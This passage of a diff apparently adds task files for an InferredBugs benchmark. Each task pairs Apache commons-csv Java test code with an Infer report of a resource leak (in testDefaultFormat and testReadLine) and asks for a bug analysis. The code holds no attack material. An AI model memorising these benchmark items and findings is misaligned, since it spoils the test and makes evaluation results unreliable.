+        assertNotNull(list);
+        assertEquals(0, list.size());
+    }
+
+    @Test
+    @Ignore
+    public void testBackslashEscapingOld() throws IOException {
+        final String code =
+                "one,two,three\n"
+                        + "on\\\"e,two\n"
+                        + "on\"e,two\n"
+                        + "one,\"tw\\\"o\"\n"
+                        + "one,\"t\\,wo\"\n"
+                        + "one,two,\"th,ree\"\n"
+                        + "\"a\\\\\"\n"
+                        + "a\\,b\n"
+                        + "\"a\\\\,b\"";
+        final String[][] res = {
+                {"one", "two", "three"},
+                {"on\\\"e", "two"},
+                {"on\"e", "two"},
+                {"one", "tw\"o"},
+                {"one", "t\\,wo"},  // backslash in quotes only escapes a delimiter (",")
+                {"one", "two", "th,ree"},
+                {"a\\\\"},     // backslash in quotes only escapes a delimiter (",")
+                {"a\\", "b"},  // a backslash must be returnd
+                {"a\\\\,b"}    // backslash in quotes only escapes a delimiter (",")
+        };
+        final CSVParser parser = CSVParser.parseString(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(res.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertArrayEquals(res[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    public void testBackslashEscaping() throws IOException {
+
+        // To avoid confusion over the need for escaping chars in java code,
+        // We will test with a forward slash as the escape char, and a single
+        // quote as the encapsulator.
+
+        final String code =
+                "one,two,three\n" // 0
+                        + "'',''\n"       // 1) empty encapsulators
+                        + "/',/'\n"       // 2) single encapsulators
+                        + "'/'','/''\n"   // 3) single encapsulators encapsulated via escape
+                        + "'''',''''\n"   // 4) single encapsulators encapsulated via doubling
+                        + "/,,/,\n"       // 5) separator escaped
+                        + "//,//\n"       // 6) escape escaped
+                        + "'//','//'\n"   // 7) escape escaped in encapsulation
+                        + "   8   ,   \"quoted \"\" /\" // string\"   \n"     // don't eat spaces
+                        + "9,   /\n   \n"  // escaped newline
+                        + "";
+        final String[][] res = {
+                {"one", "two", "three"}, // 0
+                {"", ""},                // 1
+                {"'", "'"},              // 2
+                {"'", "'"},              // 3
+                {"'", "'"},              // 4
+                {",", ","},              // 5
+                {"/", "/"},              // 6
+                {"/", "/"},              // 7
+                {"   8   ", "   \"quoted \"\" /\" / string\"   "},
+                {"9", "   \n   "},
+        };
+
+
+        final CSVFormat format = CSVFormat.newFormat(',').withQuoteChar('\'')
+                               .withRecordSeparator(CRLF).withEscape('/').withIgnoreEmptyLines(true);
+
+        final CSVParser parser = CSVParser.parseString(code, format);
+        final List<CSVRecord> records = parser.getRecords();
+        assertTrue(records.size() > 0);
+
+        Utils.compare("Records do not match expected result", res, records);
+    }
+
+    @Test
+    public void testBackslashEscaping2() throws IOException {
+
+        // To avoid confusion over the need for escaping chars in java code,
+        // We will test with a forward slash as the escape char, and a single
+        // quote as the encapsulator.
+
+        final String code = ""
+                + " , , \n"           // 1)
+                + " \t ,  , \n"       // 2)
+                + " // , /, , /,\n"   // 3)
+                + "";
+        final String[][] res = {
+                {" ", " ", " "},         // 1
+                {" \t ", "  ", " "},     // 2
+                {" / ", " , ", " ,"},    // 3
+        };
+
+
+        final CSVFormat format = CSVFormat.newFormat(',')
+                .withRecordSeparator(CRLF).withEscape('/').withIgnoreEmptyLines(true);
+
+        final CSVParser parser = CSVParser.parseString(code, format);
+        final List<CSVRecord> records = parser.getRecords();
+        assertTrue(records.size() > 0);
+
+        Utils.compare("", res, records);
+    }
+
+    @Test
+    public void testDefaultFormat() throws IOException {
+        final String code = ""
+                + "a,b#\n"           // 1)
+                + "\"\n\",\" \",#\n"   // 2)
+                + "#,\"\"\n"         // 3)
+                + "# Final comment\n"// 4)
+                ;
+        final String[][] res = {
+                {"a", "b#"},
+                {"\n", " ", "#"},
+                {"#", ""},
+                {"# Final comment"}
+        };
+
+        CSVFormat format = CSVFormat.DEFAULT;
+        assertFalse(format.isCommentingEnabled());
+
+        CSVParser parser = CSVParser.parseString(code, format);
+        List<CSVRecord> records = parser.getRecords();
+        assertTrue(records.size() > 0);
+
+        Utils.compare("Failed to parse without comments", res, records);
+
+        final String[][] res_comments = {
+                {"a", "b#"},
+                {"\n", " ", "#"},
+        };
+
+        format = CSVFormat.DEFAULT.withCommentStart('#');
+        parser = CSVParser.parseString(code, format);
+        records = parser.getRecords();
+
+        Utils.compare("Failed to parse with comments", res_comments, records);
+    }
+
+    @Test
+    public void testCarriageReturnLineFeedEndings() throws IOException {
+        final String code = "foo\r\nbaar,\r\nhello,world\r\n,kanu";
+        final CSVParser parser = CSVParser.parseString(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(4, records.size());
+    }
+
+    @Test(expected = NoSuchElementException.class)
+    public void testClose() throws Exception {
+        final Reader in = new StringReader("# comment\na,b,c\n1,2,3\nx,y,z");
+        final CSVParser parser = CSVFormat.DEFAULT.withCommentStart('#').withHeader().parse(in);
+        final Iterator<CSVRecord> records = parser.iterator();
+        assertTrue(records.hasNext());
+        parser.close();
+        assertFalse(records.hasNext());
+        records.next();
+    }
+
+    @Test
+    public void testCarriageReturnEndings() throws IOException {
+        final String code = "foo\rbaar,\rhello,world\r,kanu";
+        final CSVParser parser = CSVParser.parseString(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(4, records.size());
+    }
+
+    @Test
+    public void testLineFeedEndings() throws IOException {
+        final String code = "foo\nbaar,\nhello,world\n,kanu";
+        final CSVParser parser = CSVParser.parseString(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(4, records.size());
+    }
+
+    @Test
+    public void testIgnoreEmptyLines() throws IOException {
+        final String code = "\nfoo,baar\n\r\n,\n\n,world\r\n\n";
+        //String code = "world\r\n\n";
+        //String code = "foo;baar\r\n\r\nhello;\r\n\r\nworld;\r\n";
+        final CSVParser parser = CSVParser.parseString(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(3, records.size());
+    }
+
+    @Test
+    public void testForEach() throws Exception {
+        final List<CSVRecord> records = new ArrayList<CSVRecord>();
+
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        for (final CSVRecord record : CSVFormat.DEFAULT.parse(in)) {
+            records.add(record);
+        }
+
+        assertEquals(3, records.size());
+        assertArrayEquals(new String[]{"a", "b", "c"}, records.get(0).values());
+        assertArrayEquals(new String[]{"1", "2", "3"}, records.get(1).values());
+        assertArrayEquals(new String[]{"x", "y", "z"}, records.get(2).values());
+    }
+
+    @Test
+    public void testRoundtrip() throws Exception {
+        final StringWriter out = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(out, CSVFormat.DEFAULT);
+        final String input = "a,b,c\r\n1,2,3\r\nx,y,z\r\n";
+        for (final CSVRecord record : CSVParser.parseString(input, CSVFormat.DEFAULT)) {
+            printer.printRecord(record);
+        }
+        assertEquals(input, out.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testIterator() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> iterator = CSVFormat.DEFAULT.parse(in).iterator();
+
+        assertTrue(iterator.hasNext());
+        try {
+            iterator.remove();
+            fail("expected UnsupportedOperationException");
+        } catch (final UnsupportedOperationException expected) {
+            // expected
+        }
+        assertArrayEquals(new String[]{"a", "b", "c"}, iterator.next().values());
+        assertArrayEquals(new String[]{"1", "2", "3"}, iterator.next().values());
+        assertTrue(iterator.hasNext());
+        assertTrue(iterator.hasNext());
+        assertTrue(iterator.hasNext());
+        assertArrayEquals(new String[]{"x", "y", "z"}, iterator.next().values());
+        assertFalse(iterator.hasNext());
+
+        try {
+            iterator.next();
+            fail("NoSuchElementException expected");
+        } catch (final NoSuchElementException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testHeader() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader().parse(in).iterator();
+
+        for (int i = 0; i < 2; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertEquals(record.get(0), record.get("a"));
+            assertEquals(record.get(1), record.get("b"));
+            assertEquals(record.get(2), record.get("c"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testSkipSetHeader() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader("a", "b", "c").withSkipHeaderRecord(true)
+                .parse(in).iterator();
+        final CSVRecord record = records.next();
+        assertEquals("1", record.get("a"));
+        assertEquals("2", record.get("b"));
+        assertEquals("3", record.get("c"));
+    }
+
+    @Test
+    public void testSkipAutoHeader() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader().parse(in).iterator();
+        final CSVRecord record = records.next();
+        assertEquals("1", record.get("a"));
+        assertEquals("2", record.get("b"));
+        assertEquals("3", record.get("c"));
+    }
+
+    @Test
+    public void testHeaderComment() throws Exception {
+        final Reader in = new StringReader("# comment\na,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withCommentStart('#').withHeader().parse(in).iterator();
+
+        for (int i = 0; i < 2; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertEquals(record.get(0), record.get("a"));
+            assertEquals(record.get(1), record.get("b"));
+            assertEquals(record.get(2), record.get("c"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testProvidedHeader() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader("A", "B", "C").parse(in).iterator();
+
+        for (int i = 0; i < 3; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertTrue(record.isMapped("A"));
+            assertTrue(record.isMapped("B"));
+            assertTrue(record.isMapped("C"));
+            assertFalse(record.isMapped("NOT MAPPED"));
+            assertEquals(record.get(0), record.get("A"));
+            assertEquals(record.get(1), record.get("B"));
+            assertEquals(record.get(2), record.get("C"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testProvidedHeaderAuto() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader().parse(in).iterator();
+
+        for (int i = 0; i < 2; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertTrue(record.isMapped("a"));
+            assertTrue(record.isMapped("b"));
+            assertTrue(record.isMapped("c"));
+            assertFalse(record.isMapped("NOT MAPPED"));
+            assertEquals(record.get(0), record.get("a"));
+            assertEquals(record.get(1), record.get("b"));
+            assertEquals(record.get(2), record.get("c"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testMappedButNotSetAsOutlook2007ContactExport() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2\nx,y,z");
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader("A", "B", "C").withSkipHeaderRecord(true)
+                .parse(in).iterator();
+        CSVRecord record;
+
+        // 1st record
+        record = records.next();
+        assertTrue(record.isMapped("A"));
+        assertTrue(record.isMapped("B"));
+        assertTrue(record.isMapped("C"));
+        assertTrue(record.isSet("A"));
+        assertTrue(record.isSet("B"));
+        assertFalse(record.isSet("C"));
+        assertEquals("1", record.get("A"));
+        assertEquals("2", record.get("B"));
+        assertFalse(record.isConsistent());
+
+        // 2nd record
+        record = records.next();
+        assertTrue(record.isMapped("A"));
+        assertTrue(record.isMapped("B"));
+        assertTrue(record.isMapped("C"));
+        assertTrue(record.isSet("A"));
+        assertTrue(record.isSet("B"));
+        assertTrue(record.isSet("C"));
+        assertEquals("x", record.get("A"));
+        assertEquals("y", record.get("B"));
+        assertEquals("z", record.get("C"));
+        assertTrue(record.isConsistent());
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testGetHeaderMap() throws Exception {
+        final CSVParser parser = CSVParser.parseString("a,b,c\n1,2,3\nx,y,z", CSVFormat.DEFAULT.withHeader("A", "B", "C"));
+        final Map<String, Integer> headerMap = parser.getHeaderMap();
+        final Iterator<String> columnNames = headerMap.keySet().iterator();
+        // Headers are iterated in column order.
+        Assert.assertEquals("A", columnNames.next());
+        Assert.assertEquals("B", columnNames.next());
+        Assert.assertEquals("C", columnNames.next());
+        final Iterator<CSVRecord> records = parser.iterator();
+
+        // Parse to make sure getHeaderMap did not have a side-effect.
+        for (int i = 0; i < 3; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertEquals(record.get(0), record.get("A"));
+            assertEquals(record.get(1), record.get("B"));
+            assertEquals(record.get(2), record.get("C"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testGetLineNumberWithLF() throws Exception {
+        this.validateLineNumbers(String.valueOf(LF));
+    }
+
+    @Test
+    public void testGetLineNumberWithCRLF() throws Exception {
+        this.validateLineNumbers(CRLF);
+    }
+
+    @Test
+    public void testGetLineNumberWithCR() throws Exception {
+        this.validateLineNumbers(String.valueOf(CR));
+    }
+
+    @Test
+    public void testGetRecordNumberWithLF() throws Exception {
+        this.validateRecordNumbers(String.valueOf(LF));
+    }
+
+    @Test
+    public void testGetRecordWithMultiiLineValues() throws Exception {
+        final CSVParser parser = CSVParser.parseString("\"a\r\n1\",\"a\r\n2\"" + CRLF + "\"b\r\n1\",\"b\r\n2\"" + CRLF + "\"c\r\n1\",\"c\r\n2\"",
+                CSVFormat.DEFAULT.withRecordSeparator(CRLF));
+        CSVRecord record;
+        assertEquals(0, parser.getRecordNumber());
+        assertEquals(0, parser.getCurrentLineNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(3, parser.getCurrentLineNumber());
+        assertEquals(1, record.getRecordNumber());
+        assertEquals(1, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(6, parser.getCurrentLineNumber());
+        assertEquals(2, record.getRecordNumber());
+        assertEquals(2, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(8, parser.getCurrentLineNumber());
+        assertEquals(3, record.getRecordNumber());
+        assertEquals(3, parser.getRecordNumber());
+        assertNull(record = parser.nextRecord());
+        assertEquals(8, parser.getCurrentLineNumber());
+        assertEquals(3, parser.getRecordNumber());
+    }
+
+    @Test
+    public void testGetRecordNumberWithCRLF() throws Exception {
+        this.validateRecordNumbers(CRLF);
+    }
+
+    @Test
+    public void testGetRecordNumberWithCR() throws Exception {
+        this.validateRecordNumbers(String.valueOf(CR));
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testInvalidFormat() throws Exception {
+        final CSVFormat invalidFormat = CSVFormat.DEFAULT.withDelimiter(CR);
+        new CSVParser((Reader) null, invalidFormat).close();
+    }
+
+    private void validateRecordNumbers(final String lineSeparator) throws IOException {
+        final CSVParser parser = CSVParser.parseString("a" + lineSeparator + "b" + lineSeparator + "c", CSVFormat.DEFAULT.withRecordSeparator(lineSeparator));
+        CSVRecord record;
+        assertEquals(0, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(1, record.getRecordNumber());
+        assertEquals(1, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(2, record.getRecordNumber());
+        assertEquals(2, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(3, record.getRecordNumber());
+        assertEquals(3, parser.getRecordNumber());
+        assertNull(record = parser.nextRecord());
+        assertEquals(3, parser.getRecordNumber());
+    }
+
+    private void validateLineNumbers(final String lineSeparator) throws IOException {
+        final CSVParser parser = CSVParser.parseString("a" + lineSeparator + "b" + lineSeparator + "c", CSVFormat.DEFAULT.withRecordSeparator(lineSeparator));
+        assertEquals(0, parser.getCurrentLineNumber());
+        assertNotNull(parser.nextRecord());
+        assertEquals(1, parser.getCurrentLineNumber());
+        assertNotNull(parser.nextRecord());
+        assertEquals(2, parser.getCurrentLineNumber());
+        assertNotNull(parser.nextRecord());
+        // Still 2 because the last line is does not have EOL chars
+        assertEquals(2, parser.getCurrentLineNumber());
+        assertNull(parser.nextRecord());
+        // Still 2 because the last line is does not have EOL chars
+        assertEquals(2, parser.getCurrentLineNumber());
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.csv.ExtendedBufferedReader` acquired by call to `parseString(...)` at line 383 is not released after line 384.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CSVParserTest.testDefaultFormat()
+
+### Procedure Id:
+org.apache.commons.csv.CSVParserTest.testDefaultFormat():void.90b030b6ec0a6fbfae29a1f268d7e11a
+
+### File:
+src/test/java/org/apache/commons/csv/CSVParserTest.java
+
+### Key:
+CSVParserTest.java|testDefaultFormat|RESOURCE_LEAK
+
+### Node Key:
+93644ec69cbfe39e33422caaa4675eaa
+
+### Hash:
+412c34112c63a464fe1d96f59e254a59
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6431/instruction.md b/inferredbugs-6431/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fb2db4e3d938d568aab898cfcab6c61667d87be9
--- /dev/null
+++ b/inferredbugs-6431/instruction.md
@@ -0,0 +1,280 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-csv
+**Bug ID:** 145
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.csv;
+
+import static org.apache.commons.csv.Constants.END_OF_STREAM;
+import static org.apache.commons.csv.Constants.UNDEFINED;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+
+import java.io.StringReader;
+
+import org.junit.Test;
+
+/**
+ *
+ *
+ * @version $Id$
+ */
+public class ExtendedBufferedReaderTest {
+
+    @Test
+    public void testEmptyInput() throws Exception {
+        final ExtendedBufferedReader br = getBufferedReader("");
+        assertEquals(END_OF_STREAM, br.read());
+        assertEquals(END_OF_STREAM, br.lookAhead());
+        assertEquals(END_OF_STREAM, br.getLastChar());
+        assertNull(br.readLine());
+        assertEquals(0, br.read(new char[10], 0, 0));
+    }
+
+    @Test
+    public void testReadLookahead1() throws Exception {
+        final ExtendedBufferedReader br = getBufferedReader("1\n2\r3\n");
+        assertEquals(0, br.getCurrentLineNumber());
+        assertEquals('1', br.lookAhead());
+        assertEquals(UNDEFINED, br.getLastChar());
+        assertEquals(0, br.getCurrentLineNumber());
+        assertEquals('1', br.read()); // Start line 1
+        assertEquals('1', br.getLastChar());
+
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('\n', br.lookAhead());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('1', br.getLastChar());
+        assertEquals('\n', br.read());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('\n', br.getLastChar());
+        assertEquals(1, br.getCurrentLineNumber());
+
+        assertEquals('2', br.lookAhead());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('\n', br.getLastChar());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('2', br.read()); // Start line 2
+        assertEquals(2, br.getCurrentLineNumber());
+        assertEquals('2', br.getLastChar());
+
+        assertEquals('\r', br.lookAhead());
+        assertEquals(2, br.getCurrentLineNumber());
+        assertEquals('2', br.getLastChar());
+        assertEquals('\r', br.read());
+        assertEquals('\r', br.getLastChar());
+        assertEquals(2, br.getCurrentLineNumber());
+
+        assertEquals('3', br.lookAhead());
+        assertEquals('\r', br.getLastChar());
+        assertEquals('3', br.read()); // Start line 3
+        assertEquals('3', br.getLastChar());
+        assertEquals(3, br.getCurrentLineNumber());
+
+        assertEquals('\n', br.lookAhead());
+        assertEquals(3, br.getCurrentLineNumber());
+        assertEquals('3', br.getLastChar());
+        assertEquals('\n', br.read());
+        assertEquals(3, br.getCurrentLineNumber());
+        assertEquals('\n', br.getLastChar());
+        assertEquals(3, br.getCurrentLineNumber());
+
+        assertEquals(END_OF_STREAM, br.lookAhead());
+        assertEquals('\n', br.getLastChar());
+        assertEquals(END_OF_STREAM, br.read());
+        assertEquals(END_OF_STREAM, br.getLastChar());
+        assertEquals(END_OF_STREAM, br.read());
+        assertEquals(END_OF_STREAM, br.lookAhead());
+        assertEquals(3, br.getCurrentLineNumber());
+
+    }
+
+    @Test
+    public void testReadLookahead2() throws Exception {
+        final char[] ref = new char[5];
+        final char[] res = new char[5];
+
+        final ExtendedBufferedReader br = getBufferedReader("abcdefg");
+        ref[0] = 'a';
+        ref[1] = 'b';
+        ref[2] = 'c';
+        assertEquals(3, br.read(res, 0, 3));
+        assertArrayEquals(ref, res);
+        assertEquals('c', br.getLastChar());
+
+        assertEquals('d', br.lookAhead());
+        ref[4] = 'd';
+        assertEquals(1, br.read(res, 4, 1));
+        assertArrayEquals(ref, res);
+        assertEquals('d', br.getLastChar());
+    }
+
+    @Test
+    public void testReadLine() throws Exception {
+        ExtendedBufferedReader br = getBufferedReader("");
+        assertNull(br.readLine());
+
+        br = getBufferedReader("\n");
+        assertEquals("",br.readLine());
+        assertNull(br.readLine());
+
+        br = getBufferedReader("foo\n\nhello");
+        assertEquals(0, br.getCurrentLineNumber());
+        assertEquals("foo",br.readLine());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals("",br.readLine());
+        assertEquals(2, br.getCurrentLineNumber());
+        assertEquals("hello",br.readLine());
+        assertEquals(3, br.getCurrentLineNumber());
+        assertNull(br.readLine());
+        assertEquals(3, br.getCurrentLineNumber());
+
+        br = getBufferedReader("foo\n\nhello");
+        assertEquals('f', br.read());
+        assertEquals('o', br.lookAhead());
+        assertEquals("oo",br.readLine());
+        assertEquals(1, br.getCurrentLineNumber());
+        assertEquals('\n', br.lookAhead());
+        assertEquals("",br.readLine());
+        assertEquals(2, br.getCurrentLineNumber());
+        assertEquals('h', br.lookAhead());
+        assertEquals("hello",br.readLine());
+        assertNull(br.readLine());
+        assertEquals(3, br.getCurrentLineNumber());
+
+
+        br = getBufferedReader("foo\rbaar\r\nfoo");
+        assertEquals("foo",br.readLine());
+        assertEquals('b', br.lookAhead());
+        assertEquals("baar",br.readLine());
+        assertEquals('f', br.lookAhead());
+        assertEquals("foo",br.readLine());
+        assertNull(br.readLine());
+    }
+
+    /*
+     * Test to illustrate  https://issues.apache.org/jira/browse/CSV-75
+     *
+     */
+    @Test
+    public void testReadChar() throws Exception {
+        final String LF="\n"; final String CR="\r"; final String CRLF=CR+LF; final String LFCR=LF+CR;// easier to read the string below
+        final String test="a" + LF + "b" + CR + "c" + LF + LF + "d" + CR + CR + "e" + LFCR + "f "+ CRLF;
+        //                EOL        eol        EOL  EOL        eol  eol        EOL+CR        EOL
+        final int EOLeolct = 9;
+        ExtendedBufferedReader br;
+
+        br = getBufferedReader(test);
+        assertEquals(0, br.getCurrentLineNumber());
+        while (br.readLine() != null) {
+            // consume all
+        }
+        assertEquals(EOLeolct, br.getCurrentLineNumber());
+
+        br = getBufferedReader(test);
+        assertEquals(0, br.getCurrentLineNumber());
+        while (br.read() != -1) {
+            // consume all
+        }
+        assertEquals(EOLeolct, br.getCurrentLineNumber());
+
+        br = getBufferedReader(test);
+        assertEquals(0, br.getCurrentLineNumber());
+        final char[] buff = new char[10];
+        while (br.read(buff, 0, 3) != -1) {
+            // consume all
+        }
+        assertEquals(EOLeolct, br.getCurrentLineNumber());
+    }
+
+    private ExtendedBufferedReader getBufferedReader(final String s) {
+        return new ExtendedBufferedReader(new StringReader(s));
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.csv.ExtendedBufferedReader` acquired to `br` by call to `getBufferedReader(...)` at line 159 is not released after line 165.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ExtendedBufferedReaderTest.testReadLine()
+
+### Procedure Id:
+org.apache.commons.csv.ExtendedBufferedReaderTest.testReadLine():void.e38b90399370c04e7bcace6e540a3af8
+
+### File:
+src/test/java/org/apache/commons/csv/ExtendedBufferedReaderTest.java
+
+### Key:
+ExtendedBufferedReaderTest.java|testReadLine|RESOURCE_LEAK
+
+### Node Key:
+032299521a58ea574b18a1357a739565
+
+### Hash:
+d9e228eabc73257ac0060a4b3c304987
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6436/instruction.md b/inferredbugs-6436/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..84806f07575a80a1b979dea56e4d241fb8704b1f
--- /dev/null
+++ b/inferredbugs-6436/instruction.md
@@ -0,0 +1,685 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-csv
+**Bug ID:** 16
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ * 
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.csv;
+
+import java.io.IOException;
+import java.io.Reader;
+import java.io.StringReader;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Iterator;
+import java.util.List;
+import java.util.NoSuchElementException;
+
+import junit.framework.TestCase;
+
+import static org.apache.commons.csv.CSVParser.Token.Type.*;
+
+/**
+ * CSVParserTest
+ *
+ * The test are organized in three different sections:
+ * The 'setter/getter' section, the lexer section and finally the parser
+ * section. In case a test fails, you should follow a top-down approach for
+ * fixing a potential bug (its likely that the parser itself fails if the lexer
+ * has problems...).
+ */
+public class CSVParserTest extends TestCase {
+
+    /**
+     * TestCSVParser.
+     */
+    class TestCSVParser extends CSVParser {
+        /**
+         * Test parser to investigate the type of the internal Token.
+         *
+         * @param in a Reader
+         */
+        TestCSVParser(Reader in) {
+            super(in);
+        }
+
+        TestCSVParser(Reader in, CSVFormat format) {
+            super(in, format);
+        }
+
+        /**
+         * Calls super.nextToken() and prints out a String representation of token
+         * type and content.
+         *
+         * @return String representation of token type and content
+         * @throws IOException like {@link CSVParser#nextToken()}
+         */
+        public String testNextToken() throws IOException {
+            Token t = super.nextToken();
+            return t.type.name() + ";" + t.content + ";";
+        }
+    }
+
+    // ======================================================
+    //   lexer tests
+    // ======================================================
+
+    // Single line (without comment)
+    public void testNextToken1() throws IOException {
+        String code = "abc,def, hijk,  lmnop,   qrst,uv ,wxy   ,z , ,";
+        TestCSVParser parser = new TestCSVParser(new StringReader(code));
+        assertEquals(TOKEN + ";abc;", parser.testNextToken());
+        assertEquals(TOKEN + ";def;", parser.testNextToken());
+        assertEquals(TOKEN + ";hijk;", parser.testNextToken());
+        assertEquals(TOKEN + ";lmnop;", parser.testNextToken());
+        assertEquals(TOKEN + ";qrst;", parser.testNextToken());
+        assertEquals(TOKEN + ";uv;", parser.testNextToken());
+        assertEquals(TOKEN + ";wxy;", parser.testNextToken());
+        assertEquals(TOKEN + ";z;", parser.testNextToken());
+        assertEquals(TOKEN + ";;", parser.testNextToken());
+        assertEquals(EOF + ";;", parser.testNextToken());
+    }
+
